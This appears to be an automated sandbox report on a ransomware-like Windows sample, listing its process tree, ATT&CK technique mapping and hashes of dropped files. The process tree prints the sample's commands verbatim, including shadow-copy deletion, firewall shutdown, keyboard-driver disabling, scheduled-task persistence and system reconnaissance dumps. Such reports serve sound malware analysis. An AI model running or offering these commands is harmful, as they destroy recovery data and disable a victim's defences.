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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5668
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:600
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2704
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2932
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4080
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4424
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5968 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4760
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:6140 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5624
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3692
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6084 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:6024
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5028
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2400
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4920
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3564
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4380
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:908 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5392
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3440
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2416
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2864
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4092
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C:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\yaziyorum.io_hyber.exe1⤵PID:4940
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:4376
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 ff758325d99cfbb230e0267f8bc24b5e1e42270f8e7f72d58a8b14abd5cbaf11
- MD5 e4ed76e3d109d96c531452906a3874c3
- SHA1 bc76e254fbff50fa375130345ee6ad088f33d6e8
- SHA512 d31c422df64e119be0ce4e57be720533351405a938c94859389a96e0fdd1f4fac23010bf01606fda2d547f35029a4017a5614d48871bb334554a9ee00482a91e
- SSDEEP 1536:r2Rveo0zwn1+7cRMa3EJpzOrjWjoB9oWojXQQdGU4I13Vx4d8E1In:rgvQzwnA81Efm+CsXQQoRIJVx4d8E1In
- TLSH T163632A334B23FDC5677F3D80F1942E820C883A6787B5666CFBC50A5938A5684EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 18f4e8eb84537a6c8c21b03a36e5c2dcc9e369ba9e6c8003cb05e30e1312e607
- MD5 b0a1d2ef41c6046c63dda3adaaee07bd
- SHA1 d48dcb541902beb26b7724dd5cff9389cc7dd0cf
- SHA512 ac25df198d1aaa2c70e122446282a482a47906c9e7599f0f9d15f2804fd2bbedc0a311ebc4e54be10dfdb2443456866fd348b21d1b549079a1d03ad4e61963cc
- SSDEEP 1536:L2Rveo0zwn1+7cRMa3EJpzOrjWjoB9oWojXQQdGU4I13Vx4d8E1Im:LgvQzwnA81Efm+CsXQQoRIJVx4d8E1Im
- TLSH T11D6329734B23FDC5277F3D80F0942E820C883A678775666CFBC50A6939A5684EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 09a33b676b473f1d601379bbd0e880883a0e9653ba8d356de663226d15fb1311
- MD5 358fb4252068234fdaa7ea7c0f26ee10
- SHA1 33194cf535959be2b612d809128aec9016d68095
- SHA512 f1b35d5e991add4097589d70e1c4cd2516e1315ed24b5cb9c55da508581986462fd4b9861e1cbafcbc3e82775c0d7c4ae88c1f19258b29039c8bf71de06438d6
- TLSH T1B2D0A78BB14DC7B90001523B81F3CE8CE5A548693B57BE704AE5DD4E32D08C589FA543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 d2ba4a90e8c7deff4f5f1a327721746f5b237084173c82ed4b691181a62314e7
- MD5 3a19de364b67a4e02147d54d51f0a784
- SHA1 e7373f39d154d1416bce2f5645a8c87da9eb3157
- SHA512 8e84def48389f3acb45de75cf301d46090ff1a9fc390a21b715ff2306f6b3d4af39bdd51d78225d7679d6dde83a2a84a8804cd628f4cf17511fffa65474ade95
- TLSH T1D3D0A78BB14DC7B90001523B80F3CE8CE6E148693B57BE709AA5DD4E33C088589FA543
- MD5 SHA1 SHA512 TLSH